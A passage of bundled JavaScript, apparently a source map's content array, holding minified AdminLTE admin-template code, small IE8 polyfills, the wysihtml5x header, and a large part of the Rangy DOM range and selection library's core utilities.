jQuery\");$.AdminLTE={},$.AdminLTE.options={navbarMenuSlimscroll:!0,navbarMenuSlimscrollWidth:\"3px\",navbarMenuHeight:\"200px\",animationSpeed:500,sidebarToggleSelector:\"[data-toggle='offcanvas']\",sidebarPushMenu:!0,sidebarSlimScroll:!0,sidebarExpandOnHover:!1,enableBoxRefresh:!0,enableBSToppltip:!0,BSTooltipSelector:\"[data-toggle='tooltip']\",enableFastclick:!0,enableControlSidebar:!0,controlSidebarOptions:{toggleBtnSelector:\"[data-toggle='control-sidebar']\",selector:\".control-sidebar\",slide:!0},enableBoxWidget:!0,boxWidgetOptions:{boxWidgetIcons:{collapse:\"fa-minus\",open:\"fa-plus\",remove:\"fa-times\"},boxWidgetSelectors:{remove:'[data-widget=\"remove\"]',collapse:'[data-widget=\"collapse\"]'}},directChat:{enable:!0,contactToggleSelector:'[data-widget=\"chat-pane-toggle\"]'},colors:{lightBlue:\"#3c8dbc\",red:\"#f56954\",green:\"#00a65a\",aqua:\"#00c0ef\",yellow:\"#f39c12\",blue:\"#0073b7\",navy:\"#001F3F\",teal:\"#39CCCC\",olive:\"#3D9970\",lime:\"#01FF70\",orange:\"#FF851B\",fuchsia:\"#F012BE\",purple:\"#8E24AA\",maroon:\"#D81B60\",black:\"#222222\",gray:\"#d2d6de\"},screenSizes:{xs:480,sm:768,md:992,lg:1200}},$(function(){\"use strict\";$(\"body\").removeClass(\"hold-transition\"),\"undefined\"!=typeof AdminLTEOptions&&$.extend(!0,$.AdminLTE.options,AdminLTEOptions);var a=$.AdminLTE.options;_init(),$.AdminLTE.layout.activate(),$.AdminLTE.tree(\".sidebar\"),a.enableControlSidebar&&$.AdminLTE.controlSidebar.activate(),a.navbarMenuSlimscroll&&\"undefined\"!=typeof $.fn.slimscroll&&$(\".navbar .menu\").slimscroll({height:a.navbarMenuHeight,alwaysVisible:!1,size:a.navbarMenuSlimscrollWidth}).css(\"width\",\"100%\"),a.sidebarPushMenu&&$.AdminLTE.pushMenu.activate(a.sidebarToggleSelector),a.enableBSToppltip&&$(\"body\").tooltip({selector:a.BSTooltipSelector}),a.enableBoxWidget&&$.AdminLTE.boxWidget.activate(),a.enableFastclick&&\"undefined\"!=typeof FastClick&&FastClick.attach(document.body),a.directChat.enable&&$(document).on(\"click\",a.directChat.contactToggleSelector,function(){var a=$(this).parents(\".direct-chat\").first();a.toggleClass(\"direct-chat-contacts-open\")}),$('.btn-group[data-toggle=\"btn-toggle\"]').each(function(){var a=$(this);$(this).find(\".btn\").on(\"click\",function(b){a.find(\".btn.active\").removeClass(\"active\"),$(this).addClass(\"active\"),b.preventDefault()})})}),function(a){\"use strict\";a.fn.boxRefresh=function(b){function c(a){a.append(f),e.onLoadStart.call(a)}function d(a){a.find(f).remove(),e.onLoadDone.call(a)}var e=a.extend({trigger:\".refresh-btn\",source:\"\",onLoadStart:function(a){return a},onLoadDone:function(a){return a}},b),f=a('<div class=\"overlay\"><div class=\"fa fa-refresh fa-spin\"></div></div>');return this.each(function(){if(\"\"===e.source)return void(window.console&&window.console.log(\"Please specify a source first - boxRefresh()\"));var b=a(this),f=b.find(e.trigger).first();f.on(\"click\",function(a){a.preventDefault(),c(b),b.find(\".box-body\").load(e.source,function(){d(b)})})})}}(jQuery),function(a){\"use strict\";a.fn.activateBox=function(){a.AdminLTE.boxWidget.activate(this)}}(jQuery),function(a){\"use strict\";a.fn.todolist=function(b){var c=a.extend({onCheck:function(a){return a},onUncheck:function(a){return a}},b);return this.each(function(){\"undefined\"!=typeof a.fn.iCheck?(a(\"input\",this).on(\"ifChecked\",function(){var b=a(this).parents(\"li\").first();b.toggleClass(\"done\"),c.onCheck.call(b)}),a(\"input\",this).on(\"ifUnchecked\",function(){var b=a(this).parents(\"li\").first();b.toggleClass(\"done\"),c.onUncheck.call(b)})):a(\"input\",this).on(\"change\",function(){var b=a(this).parents(\"li\").first();b.toggleClass(\"done\"),a(\"input\",b).is(\":checked\")?c.onCheck.call(b):c.onUncheck.call(b)})})}}(jQuery);","// TODO: in future try to replace most inline compability checks with polyfills for code readability \n\n// element.textContent polyfill.\n// Unsupporting browsers: IE8\n\nif (Object.defineProperty && Object.getOwnPropertyDescriptor && Object.getOwnPropertyDescriptor(Element.prototype, \"textContent\") && !Object.getOwnPropertyDescriptor(Element.prototype, \"textContent\").get) {\n\t(function() {\n\t\tvar innerText = Object.getOwnPropertyDescriptor(Element.prototype, \"innerText\");\n\t\tObject.defineProperty(Element.prototype, \"textContent\",\n\t\t\t{\n\t\t\t\tget: function() {\n\t\t\t\t\treturn innerText.get.call(this);\n\t\t\t\t},\n\t\t\t\tset: function(s) {\n\t\t\t\t\treturn innerText.set.call(this, s);\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t})();\n}\n\n// isArray polyfill for ie8\nif(!Array.isArray) {\n  Array.isArray = function(arg) {\n    return Object.prototype.toString.call(arg) === '[object Array]';\n  };\n};/**\n * @license wysihtml5x v0.4.15\n * https://github.com/Edicy/wysihtml5\n *\n * Author: Christopher Blum (https://github.com/tiff)\n * Secondary author of extended features: Oliver Pulges (https://github.com/pulges)\n *\n * Copyright (C) 2012 XING AG\n * Licensed under the MIT license (MIT)\n *\n */\nvar wysihtml5 = {\n  version: \"0.4.15\",\n\n  // namespaces\n  commands:   {},\n  dom:        {},\n  quirks:     {},\n  toolbar:    {},\n  lang:       {},\n  selection:  {},\n  views:      {},\n\n  INVISIBLE_SPACE: \"\\uFEFF\",\n\n  EMPTY_FUNCTION: function() {},\n\n  ELEMENT_NODE: 1,\n  TEXT_NODE:    3,\n\n  BACKSPACE_KEY:  8,\n  ENTER_KEY:      13,\n  ESCAPE_KEY:     27,\n  SPACE_KEY:      32,\n  DELETE_KEY:     46\n};\n;/**\n * Rangy, a cross-browser JavaScript range and selection library\n * http://code.google.com/p/rangy/\n *\n * Copyright 2014, Tim Down\n * Licensed under the MIT license.\n * Version: 1.3alpha.20140804\n * Build date: 4 August 2014\n */\n\n(function(factory, global) {\n    if (typeof define == \"function\" && define.amd) {\n        // AMD. Register as an anonymous module.\n        define(factory);\n/*\n    TODO: look into this properly.\n    \n    } else if (typeof exports == \"object\") {\n        // Node/CommonJS style for Browserify\n        module.exports = factory;\n*/\n    } else {\n        // No AMD or CommonJS support so we place Rangy in a global variable\n        global.rangy = factory();\n    }\n})(function() {\n\n    var OBJECT = \"object\", FUNCTION = \"function\", UNDEFINED = \"undefined\";\n\n    // Minimal set of properties required for DOM Level 2 Range compliance. Comparison constants such as START_TO_START\n    // are omitted because ranges in KHTML do not have them but otherwise work perfectly well. See issue 113.\n    var domRangeProperties = [\"startContainer\", \"startOffset\", \"endContainer\", \"endOffset\", \"collapsed\",\n        \"commonAncestorContainer\"];\n\n    // Minimal set of methods required for DOM Level 2 Range compliance\n    var domRangeMethods = [\"setStart\", \"setStartBefore\", \"setStartAfter\", \"setEnd\", \"setEndBefore\",\n        \"setEndAfter\", \"collapse\", \"selectNode\", \"selectNodeContents\", \"compareBoundaryPoints\", \"deleteContents\",\n        \"extractContents\", \"cloneContents\", \"insertNode\", \"surroundContents\", \"cloneRange\", \"toString\", \"detach\"];\n\n    var textRangeProperties = [\"boundingHeight\", \"boundingLeft\", \"boundingTop\", \"boundingWidth\", \"htmlText\", \"text\"];\n\n    // Subset of TextRange's full set of methods that we're interested in\n    var textRangeMethods = [\"collapse\", \"compareEndPoints\", \"duplicate\", \"moveToElementText\", \"parentElement\", \"select\",\n        \"setEndPoint\", \"getBoundingClientRect\"];\n\n    /*----------------------------------------------------------------------------------------------------------------*/\n\n    // Trio of functions taken from Peter Michaux's article:\n    // http://peter.michaux.ca/articles/feature-detection-state-of-the-art-browser-scripting\n    function isHostMethod(o, p) {\n        var t = typeof o[p];\n        return t == FUNCTION || (!!(t == OBJECT && o[p])) || t == \"unknown\";\n    }\n\n    function isHostObject(o, p) {\n        return !!(typeof o[p] == OBJECT && o[p]);\n    }\n\n    function isHostProperty(o, p) {\n        return typeof o[p] != UNDEFINED;\n    }\n\n    // Creates a convenience function to save verbose repeated calls to tests functions\n    function createMultiplePropertyTest(testFunc) {\n        return function(o, props) {\n            var i = props.length;\n            while (i--) {\n                if (!testFunc(o, props[i])) {\n                    return false;\n                }\n            }\n            return true;\n        };\n    }\n\n    // Next trio of functions are a convenience to save verbose repeated calls to previous two functions\n    var areHostMethods = createMultiplePropertyTest(isHostMethod);\n    var areHostObjects = createMultiplePropertyTest(isHostObject);\n    var areHostProperties = createMultiplePropertyTest(isHostProperty);\n\n    function isTextRange(range) {\n        return range && areHostMethods(range, textRangeMethods) && areHostProperties(range, textRangeProperties);\n    }\n\n    function getBody(doc) {\n        return isHostObject(doc, \"body\") ? doc.body : doc.getElementsByTagName(\"body\")[0];\n    }\n\n    var modules = {};\n\n    var api = {\n        version: \"1.3alpha.20140804\",\n        initialized: false,\n        supported: true,\n\n        util: {\n            isHostMethod: isHostMethod,\n            isHostObject: isHostObject,\n            isHostProperty: isHostProperty,\n            areHostMethods: areHostMethods,\n            areHostObjects: areHostObjects,\n            areHostProperties: areHostProperties,\n            isTextRange: isTextRange,\n            getBody: getBody\n        },\n\n        features: {},\n\n        modules: modules,\n        config: {\n            alertOnFail: true,\n            alertOnWarn: false,\n            preferTextRange: false,\n            autoInitialize: (typeof rangyAutoInitialize == UNDEFINED) ? true : rangyAutoInitialize\n        }\n    };\n\n    function consoleLog(msg) {\n        if (isHostObject(window, \"console\") && isHostMethod(window.console, \"log\")) {\n            window.console.log(msg);\n        }\n    }\n\n    function alertOrLog(msg, shouldAlert) {\n        if (shouldAlert) {\n            window.alert(msg);\n        } else  {\n            consoleLog(msg);\n        }\n    }\n\n    function fail(reason) {\n        api.initialized = true;\n        api.supported = false;\n        alertOrLog(\"Rangy is not supported on this page in your browser. Reason: \" + reason, api.config.alertOnFail);\n    }\n\n    api.fail = fail;\n\n    function warn(msg) {\n        alertOrLog(\"Rangy warning: \" + msg, api.config.alertOnWarn);\n    }\n\n    api.warn = warn;\n\n    // Add utility extend() method\n    if ({}.hasOwnProperty) {\n        api.util.extend = function(obj, props, deep) {\n            var o, p;\n            for (var i in props) {\n                if (props.hasOwnProperty(i)) {\n                    o = obj[i];\n                    p = props[i];\n                    if (deep && o !== null && typeof o == \"object\" && p !== null && typeof p == \"object\") {\n                        api.util.extend(o, p, true);\n                    }\n                    obj[i] = p;\n                }\n            }\n            // Special case for toString, which does not show up in for...in loops in IE <= 8\n            if (props.hasOwnProperty(\"toString\")) {\n                obj.toString = props.toString;\n            }\n            return obj;\n        };\n    } else {\n        fail(\"hasOwnProperty not supported\");\n    }\n\n    // Test whether Array.prototype.slice can be relied on for NodeLists and use an alternative toArray() if not\n    (function() {\n        var el = document.createElement(\"div\");\n        el.appendChild(document.createElement(\"span\"));\n        var slice = [].slice;\n        var toArray;\n        try {\n            if (slice.call(el.childNodes, 0)[0].nodeType == 1) {\n                toArray = function(arrayLike) {\n                    return slice.call(arrayLike, 0);\n                };\n            }\n        } catch (e) {}\n\n        if (!toArray) {\n            toArray = function(arrayLike) {\n                var arr = [];\n                for (var i = 0, len = arrayLike.length; i < len; ++i) {\n                    arr[i] = arrayLike[i];\n                }\n                return arr;\n            };\n        }\n\n        api.util.toArray = toArray;\n    })();\n\n\n    // Very simple event handler wrapper function that doesn't attempt to solve issues such as \"this\" handling or\n    // normalization of event properties\n    var addListener;\n    if (isHostMethod(document, \"addEventListener\")) {\n        addListener = function(obj, eventType, listener) {\n            obj.addEventListener(eventType, listener, false);\n        };\n    } else if (isHostMethod(document, \"attachEvent\")) {\n        addListener = function(obj, eventType, listener) {\n            obj.attachEvent(\"on\" + eventType, listener);\n        };\n    } else {\n        fail(\"Document does not have required addEventListener or attachEvent method\");\n    }\n\n    api.util.addListener = addListener;\n\n    var initListeners = [];\n\n    function getErrorDesc(ex) {\n        return ex.message || ex.description || String(ex);\n    }\n\n    // Initialization\n    function init() {\n        if (api.initialized) {\n            return;\n        }\n        var testRange;\n        var implementsDomRange = false, implementsTextRange = false;\n\n        // First, perform basic feature tests\n\n        if (isHostMethod(document, \"createRange\")) {\n            testRange = document.createRange();\n            if (areHostMethods(testRange, domRangeMethods) && areHostProperties(testRange, domRangeProperties)) {\n                implementsDomRange = true;\n            }\n        }\n\n        var body = getBody(document);\n        if (!body || body.nodeName.toLowerCase() != \"body\") {\n            fail(\"No body element found\");\n            return;\n        }\n\n        if (body && isHostMethod(body, \"createTextRange\")) {\n            testRange = body.createTextRange();\n            if (isTextRange(testRange)) {\n                implementsTextRange = true;\n            }\n        }\n\n        if (!implementsDomRange && !implementsTextRange) {\n            fail(\"Neither Range nor TextRange are available\");\n            return;\n        }\n\n        api.initialized = true;\n        api.features = {\n            implementsDomRange: implementsDomRange,\n            implementsTextRange: implementsTextRange\n        };\n\n        // Initialize modules\n        var module, errorMessage;\n        for (var moduleName in modules) {\n            if ( (module = modules[moduleName]) instanceof Module ) {\n                module.init(module, api);\n            }\n        }\n\n        // Call init listeners\n        for (var i = 0, len = initListeners.length; i < len; ++i) {\n            try {\n                initListeners[i](api);\n            } catch (ex) {\n                errorMessage = \"Rangy init listener threw an exception. Continuing. Detail: \" + getErrorDesc(ex);\n                consoleLog(errorMessage);\n            }\n        }\n    }\n\n    // Allow external scripts to initialize this library in case it's loaded after the document has loaded\n    api.init = init;\n\n    // Execute listener immediately if already initialized\n    api.addInitListener = function(listener) {\n        if (api.initialized) {\n            listener(api);\n        } else {\n            initListeners.push(listener);\n        }\n    };\n\n    var shimListeners = [];\n\n    api.addShimListener = function(listener) {\n        shimListeners.push(listener);\n    };\n\n    function shim(win) {\n        win = win || window;\n        init();\n\n        // Notify listeners\n        for (var i = 0, len = shimListeners.length; i < len; ++i) {\n            shimListeners[i](win);\n        }\n    }\n\n    api.shim = api.createMissingNativeApi = shim;\n\n    function Module(name, dependencies, initializer) {\n        this.name = name;\n        this.dependencies = dependencies;\n        this.initialized = false;\n        this.supported = false;\n        this.initializer = initializer;\n    }\n\n    Module.prototype = {\n        init: function() {\n            var requiredModuleNames = this.dependencies || [];\n            for (var i = 0, len = requiredModuleNames.length, requiredModule, moduleName; i < len; ++i) {\n                moduleName = requiredModuleNames[i];\n\n                requiredModule = modules[moduleName];\n                if (!requiredModule || !(requiredModule instanceof Module)) {\n                    throw new Error(\"required module '\" + moduleName + \"' not found\");\n                }\n\n                requiredModule.init();\n\n                if (!requiredModule.supported) {\n                    throw new Error(\"required module '\" + moduleName + \"' not supported\");\n                }\n            }\n            \n            // Now run initializer\n            this.initializer(this);\n        },\n        \n        fail: function(reason) {\n            this.initialized = true;\n            this.supported = false;\n            throw new Error(\"Module '\" + this.name + \"' failed to load: \" + reason);\n        },\n\n        warn: function(msg) {\n            api.warn(\"Module \" + this.name + \": \" + msg);\n        },\n\n        deprecationNotice: function(deprecated, replacement) {\n            api.warn(\"DEPRECATED: \" + deprecated + \" in module \" + this.name + \"is deprecated. Please use \" +\n                replacement + \" instead\");\n        },\n\n        createError: function(msg) {\n            return new Error(\"Error in Rangy \" + this.name + \" module: \" + msg);\n        }\n    };\n    \n    function createModule(isCore, name, dependencies, initFunc) {\n        var newModule = new Module(name, dependencies, function(module) {\n            if (!module.initialized) {\n                module.initialized = true;\n                try {\n                    initFunc(api, module);\n                    module.supported = true;\n                } catch (ex) {\n                    var errorMessage = \"Module '\" + name + \"' failed to load: \" + getErrorDesc(ex);\n                    consoleLog(errorMessage);\n                }\n            }\n        });\n        modules[name] = newModule;\n    }\n\n    api.createModule = function(name) {\n        // Allow 2 or 3 arguments (second argument is an optional array of dependencies)\n        var initFunc, dependencies;\n        if (arguments.length == 2) {\n            initFunc = arguments[1];\n            dependencies = [];\n        } else {\n            initFunc = arguments[2];\n            dependencies = arguments[1];\n        }\n\n        var module = createModule(false, name, dependencies, initFunc);\n\n        // Initialize the module immediately if the core is already initialized\n        if (api.initialized) {\n            module.init();\n        }\n    };\n\n    api.createCoreModule = function(name, dependencies, initFunc) {\n        createModule(true, name, dependencies, initFunc);\n    };\n\n    /*----------------------------------------------------------------------------------------------------------------*/\n\n    // Ensure rangy.rangePrototype and rangy.selectionPrototype are available immediately\n\n    function RangePrototype() {}\n    api.RangePrototype = RangePrototype;\n    api.rangePrototype = new RangePrototype();\n\n    function SelectionPrototype() {}\n    api.selectionPrototype = new SelectionPrototype();\n\n    /*----------------------------------------------------------------------------------------------------------------*/\n\n    // Wait for document to load before running tests\n\n    var docReady = false;\n\n    var loadHandler = function(e) {\n        if (!docReady) {\n            docReady = true;\n            if (!api.initialized && api.config.autoInitialize) {\n                init();\n            }\n        }\n    };\n\n    // Test whether we have window and document objects that we will need\n    if (typeof window == UNDEFINED) {\n        fail(\"No window found\");\n        return;\n    }\n    if (typeof document == UNDEFINED) {\n        fail(\"No document found\");\n        return;\n    }\n\n    if (isHostMethod(document, \"addEventListener\")) {\n        document.addEventListener(\"DOMContentLoaded\", loadHandler, false);\n    }\n\n    // Add a fallback in case the DOMContentLoaded event isn't supported\n    addListener(window, \"load\", loadHandler);\n\n    /*----------------------------------------------------------------------------------------------------------------*/\n    \n    // DOM utility methods used by Rangy\n    api.createCoreModule(\"DomUtil\", [], function(api, module) {\n        var UNDEF = \"undefined\";\n        var util = api.util;\n\n        // Perform feature tests\n        if (!util.areHostMethods(document, [\"createDocumentFragment\", \"createElement\", \"createTextNode\"])) {\n            module.fail(\"document missing a Node creation method\");\n        }\n\n        if (!util.isHostMethod(document, \"getElementsByTagName\")) {\n            module.fail(\"document missing getElementsByTagName method\");\n        }\n\n        var el = document.createElement(\"div\");\n        if (!util.areHostMethods(el, [\"insertBefore\", \"appendChild\", \"cloneNode\"] ||\n                !util.areHostObjects(el, [\"previousSibling\", \"nextSibling\", \"childNodes\", \"parentNode\"]))) {\n            module.fail(\"Incomplete Element implementation\");\n        }\n\n        // innerHTML is required for Range's createContextualFragment method\n        if (!util.isHostProperty(el, \"innerHTML\")) {\n            module.fail(\"Element is missing innerHTML property\");\n        }\n\n        var textNode = document.createTextNode(\"test\");\n        if (!util.areHostMethods(textNode, [\"splitText\", \"deleteData\", \"insertData\", \"appendData\", \"cloneNode\"] ||\n                !util.areHostObjects(el, [\"previousSibling\", \"nextSibling\", \"childNodes\", \"parentNode\"]) ||\n                !util.areHostProperties(textNode, [\"data\"]))) {\n            module.fail(\"Incomplete Text Node implementation\");\n        }\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        // Removed use of indexOf because of a bizarre bug in Opera that is thrown in one of the Acid3 tests. I haven't been\n        // able to replicate it outside of the test. The bug is that indexOf returns -1 when called on an Array that\n        // contains just the document as a single element and the value searched for is the document.\n        var arrayContains = /*Array.prototype.indexOf ?\n            function(arr, val) {\n                return arr.indexOf(val) > -1;\n            }:*/\n\n            function(arr, val) {\n                var i = arr.length;\n                while (i--) {\n                    if (arr[i] === val) {\n                        return true;\n                    }\n                }\n                return false;\n            };\n\n        // Opera 11 puts HTML elements in the null namespace, it seems, and IE 7 has undefined namespaceURI\n        function isHtmlNamespace(node) {\n            var ns;\n            return typeof node.namespaceURI == UNDEF || ((ns = node.namespaceURI) === null || ns == \"http://www.w3.org/1999/xhtml\");\n        }\n\n        function parentElement(node) {\n            var parent = node.parentNode;\n            return (parent.nodeType == 1) ? parent : null;\n        }\n\n        function getNodeIndex(node) {\n            var i = 0;\n            while( (node = node.previousSibling) ) {\n                ++i;\n            }\n            return i;\n        }\n\n        function getNodeLength(node) {\n            switch (node.nodeType) {\n                case 7:\n                case 10:\n                    return 0;\n                case 3:\n                case 8:\n                    return node.length;\n                default:\n                    return node.childNodes.length;\n            }\n        }\n\n        function getCommonAncestor(node1, node2) {\n            var ancestors = [], n;\n            for (n = node1; n; n = n.parentNode) {\n                ancestors.push(n);\n            }\n\n            for (n = node2; n; n = n.parentNode) {\n                if (arrayContains(ancestors, n)) {\n                    return n;\n                }\n            }\n\n            return null;\n        }\n\n        function isAncestorOf(ancestor, descendant, selfIsAncestor) {\n            var n = selfIsAncestor ? descendant : descendant.parentNode;\n            while (n) {\n                if (n === ancestor) {\n                    return true;\n                } else {\n                    n = n.parentNode;\n                }\n            }\n            return false;\n        }\n\n        function isOrIsAncestorOf(ancestor, descendant) {\n            return isAncestorOf(ancestor, descendant, true);\n        }\n\n        function getClosestAncestorIn(node, ancestor, selfIsAncestor) {\n            var p, n = selfIsAncestor ? node : node.parentNode;\n            while (n) {\n                p = n.parentNode;\n                if (p === ancestor) {\n                    return n;\n                }\n                n = p;\n            }\n            return null;\n        }\n\n        function isCharacterDataNode(node) {\n            var t = node.nodeType;\n            return t == 3 || t == 4 || t == 8 ; // Text, CDataSection or Comment\n        }\n\n        function isTextOrCommentNode(node) {\n            if (!node) {\n                return false;\n            }\n            var t = node.nodeType;\n            return t == 3 || t == 8 ; // Text or Comment\n        }\n\n        function insertAfter(node, precedingNode) {\n            var nextNode = precedingNode.nextSibling, parent = precedingNode.parentNode;\n            if (nextNode) {\n                parent.insertBefore(node, nextNode);\n            } else {\n                parent.appendChild(node);\n            }\n            return node;\n        }\n\n        // Note that we cannot use splitText() because it is bugridden in IE 9.\n        function splitDataNode(node, index, positionsToPreserve) {\n            var newNode = node.cloneNode(false);\n            newNode.deleteData(0, index);\n            node.deleteData(index, node.length - index);\n            insertAfter(newNode, node);\n\n            // Preserve positions\n            if (positionsToPreserve) {\n                for (var i = 0, position; position = positionsToPreserve[i++]; ) {\n                    // Handle case where position was inside the portion of node after the split point\n                    if (position.node == node && position.offset > index) {\n                        position.node = newNode;\n                        position.offset -= index;\n                    }\n                    // Handle the case where the position is a node offset within node's parent\n                    else if (position.node == node.parentNode && position.offset > getNodeIndex(node)) {\n                        ++position.offset;\n                    }\n                }\n            }\n            return newNode;\n        }\n\n        function getDocument(node) {\n            if (node.nodeType == 9) {\n                return node;\n            } else if (typeof node.ownerDocument != UNDEF) {\n                return node.ownerDocument;\n            } else if (typeof node.document != UNDEF) {\n                return node.document;\n            } else if (node.parentNode) {\n                return getDocument(node.parentNode);\n            } else {\n                throw module.createError(\"getDocument: no document found for node\");\n            }\n        }\n\n        function getWindow(node) {\n            var doc = getDocument(node);\n            if (typeof doc.defaultView != UNDEF) {\n                return doc.defaultView;\n            } else if (typeof doc.parentWindow != UNDEF) {\n                return doc.parentWindow;\n            } else {\n                throw module.createError(\"Cannot get a window object for node\");\n            }\n        }\n\n        function getIframeDocument(iframeEl) {\n            if (typeof iframeEl.contentDocument != UNDEF) {\n                return iframeEl.contentDocument;\n            } else if (typeof iframeEl.contentWindow != UNDEF) {\n                return iframeEl.contentWindow.document;\n            } else {\n                throw module.createError(\"getIframeDocument: No Document object found for iframe element\");\n            }\n        }\n\n        function getIframeWindow(iframeEl) {\n            if (typeof iframeEl.contentWindow != UNDEF) {\n                return iframeEl.contentWindow;\n            } else if (typeof iframeEl.contentDocument != UNDEF) {\n                return iframeEl.contentDocument.defaultView;\n            } else {\n                throw module.createError(\"getIframeWindow: No Window object found for iframe element\");\n            }\n        }\n\n        // This looks bad. Is it worth it?\n        function isWindow(obj) {\n            return obj && util.isHostMethod(obj, \"setTimeout\") && util.isHostObject(obj, \"document\");\n        }\n\n        function getContentDocument(obj, module, methodName) {\n            var doc;\n\n            if (!obj) {\n                doc = document;\n            }\n\n            // Test if a DOM node has been passed and obtain a document object for it if so\n            else if (util.isHostProperty(obj, \"nodeType\")) {\n                doc = (obj.nodeType == 1 && obj.tagName.toLowerCase() == \"iframe\") ?\n                    getIframeDocument(obj) : getDocument(obj);\n            }\n\n            // Test if the doc parameter appears to be a Window object\n            else if (isWindow(obj)) {\n                doc = obj.document;\n            }\n\n            if (!doc) {\n                throw module.createError(methodName + \"(): Parameter must be a Window object or DOM node\");\n            }\n\n            return doc;\n        }\n\n        function getRootContainer(node) {\n            var parent;\n            while ( (parent = node.parentNode) ) {\n                node = parent;\n            }\n            return node;\n        }\n\n        function comparePoints(nodeA, offsetA, nodeB, offsetB) {\n            // See http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Comparing\n            var nodeC, root, childA, childB, n;\n            if (nodeA == nodeB) {\n                // Case 1: nodes are the same\n                return offsetA === offsetB ? 0 : (offsetA < offsetB) ? -1 : 1;\n            } else if ( (nodeC = getClosestAncestorIn(nodeB, nodeA, true)) ) {\n                // Case 2: node C (container B or an ancestor) is a child node of A\n                return offsetA <= getNodeIndex(nodeC) ? -1 : 1;\n            } else if ( (nodeC = getClosestAncestorIn(nodeA, nodeB, true)) ) {\n                // Case 3: node C (container A or an ancestor) is a child node of B\n                return getNodeIndex(nodeC) < offsetB  ? -1 : 1;\n            } else {\n                root = getCommonAncestor(nodeA, nodeB);\n                if (!root) {\n                    throw new Error(\"comparePoints error: nodes have no common ancestor\");\n                }\n\n                // Case 4: containers are siblings or descendants of siblings\n                childA = (nodeA === root) ? root : getClosestAncestorIn(nodeA, root, true);\n                childB = (nodeB === root) ? root : getClosestAncestorIn(nodeB, root, true);\n\n                if (childA === childB) {\n                    // This shouldn't be possible\n                    throw module.createError(\"comparePoints got to case 4 and childA and childB are the same!\");\n                } else {\n                    n = root.firstChild;\n                    while (n) {\n                        if (n === childA) {\n                            return -1;\n                        } else if (n === childB) {\n                            return 1;\n                        }\n                        n = n.nextSibling;\n                    }\n                }\n            }\n        }\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        // Test for IE's crash (IE 6/7) or exception (IE >= 8) when a reference to garbage-collected text node is queried\n        var crashyTextNodes = false;\n\n        function isBrokenNode(node) {\n            var n;\n            try {\n                n = node.parentNode;\n                return false;\n            } catch (e) {\n                return true;\n            }\n        }\n\n        (function() {\n            var el = document.createElement(\"b\");\n            el.innerHTML = \"1\";\n            var textNode = el.firstChild;\n            el.innerHTML = \"<br>\";\n            crashyTextNodes = isBrokenNode(textNode);\n\n            api.features.crashyTextNodes = crashyTextNodes;\n        })();\n\n        /*----------------------------------------------------------------------------------------------------------------*/\n\n        function inspectNode(node) {\n            if (!node) {\n                return \"[No node]\";\n            }\n            if (crashyTextNodes && isBrokenNode(node)) {\n                return \"[Broken node]\";\n            }\n            if (isCharacterDataNode(node)) {\n                return '\"' + node.data + '\"';\n            }\n            if (node.nodeType == 1) {\n                var idAttr = node.id ? ' id=\"' + node.id + '\"' : \"\";\n                return \"<\" + node.nodeName + idAttr + \">[index:\" + getNodeIndex(node) + \",length:\" + node.childNodes.length + \"][\" + (node.innerHTML || \"[innerHTML not supported]\").slice(0, 25) + \"]\";\n            }\n            return node.nodeName;\n        }\n\n        function fragmentFromNodeChildren(node) {\n            var fragment = getDocument(node).createDocumentFragment(), child;\n            while ( (child = node.firstChild) ) {\n                fragment.appendChild(child);\n            }\n            return fragment;\n        }\n\n        var getComputedStyleProperty;\n        if (typeof window.getComputedStyle != UNDEF) {\n            getComputedStyleProperty = function(el, propName) {\n                return getWindow(el).getComputedStyle(el, null)[propName];\n            };\n        } else if (typeof document.documentElement.currentStyle != UNDEF) {\n            getComputedStyleProperty = function(el, propName) {\n                return el.currentStyle[propName];\n            };\n        } else {\n            module.fail(\"No means of obtaining computed style properties found\");\n        }\n\n        function NodeIterator(root) {\n            this.root = root;\n            this._next = root;\n        }\n\n        NodeIterator.prototype = {\n            _current: null,\n\n            hasNext: function() {\n                return !!this._next;\n            },\n\n            next: function() {\n                var n = this._current = this._next;\n                var child, next;\n                if (this._current) {\n                    child = n.firstChild;\n                    if (child) {\n                        this._next = child;\n                    } else {\n                        next = null;\n                        while ((n !== this.root) && !(next = n.nextSibling)) {\n                            n = n.parentNode;\n                        }\n                        this._next = next;\n                    }\n                }\n                return this._current;\n            },\n\n            detach: function() {\n                this._current = this._next = this.root = null;\n            }\n        };\n\n        function createIterator(root) {\n            return new NodeIterator(root);\n        }\n\n        function DomPosition(node, offset) {\n            this.node = node;\n            this.offset = offset;\n        }\n\n        DomPosition.prototype = {\n            equals: function(pos) {\n                return !!pos && this.node === pos.node && this.offset == pos.offset;\n            },\n\n            inspect: function() {\n                return \"[DomPosition(\" + inspectNode(this.node) + \":\" + this.offset + \")]\";\n            },\n\n            toString: function() {\n                return this.inspect();\n            }\n        };\n\n        function DOMException(codeName) {\n            this.code = this[codeName];\n            this.codeName = codeName;\n            this.message = \"DOMException: \" + this.codeName;\n        }\n\n        DOMException.prototype = {\n            INDEX_SIZE_ERR: 1,\n            HIERARCHY_REQUEST_ERR: 3,\n            WRONG_DOCUMENT_ERR: 4,\n            NO_MODIFICATION_ALLOWED_ERR: 7,\n            NOT_FOUND_ERR: 8,\n            NOT_SUPPORTED_ERR: 9,\n            INVALID_STATE_ERR: 11,\n            INVALID_NODE_TYPE_ERR: 24\n        };\n\n        DOMException.prototype.toString = function() {\n            return this.message;\n        };\n\n        api.dom = {\n            arrayContains: arrayContains,\n            isHtmlNamespace: isHtmlNamespace,\n            parentElement: parentElement,\n            getNodeIndex: getNodeIndex,\n            getNodeLength: getNodeLength,\n            getCommonAncestor: getCommonAncestor,\n            isAncestorOf: isAncestorOf,\n            isOrIsAncestorOf: isOrIsAncestorOf,\n            getClosestAncestorIn: getClosestAncestorIn,\n            isCharacterDataNode: isCharacterDataNode,\n            isTextOrCommentNode: isTextOrCommentNode,\n            insertAfter: insertAfter,\n            splitDataNode: splitDataNode,\n            getDocument: getDocument,\n            getWindow: getWindow,\n            getIframeWindow: getIframeWindow,\n            getIframeDocument: getIframeDocument,\n            getBody: util.getBody,\n            isWindow: isWindow,\n            getContentDocument: getContentDocument,\n            getRootContainer: getRootContainer,\n            comparePoints: comparePoints,\n            isBrokenNode: isBrokenNode,\n            inspectNode: inspectNode,\n            getComputedStyleProperty: getComputedStyleProperty,\n            fragmentFromNodeChildren: fragmentFromNodeChildren,\n            createIterator: 